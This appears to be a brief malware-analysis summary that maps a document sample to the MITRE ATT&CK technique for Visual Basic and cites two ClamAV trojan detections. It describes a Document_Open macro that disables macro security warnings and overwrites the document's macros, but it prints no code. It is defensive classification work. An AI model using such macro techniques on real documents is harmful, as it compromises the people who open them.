MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for malicious documents. The script attempts to disable macro security warnings and overwrite the document's macros with its own code, indicating an attempt to maintain persistence or execute further malicious actions. The presence of the 'Doc.Trojan.Hope-12' and 'Doc.Trojan.Hope-4' ClamAV detections strongly suggests malicious intent.
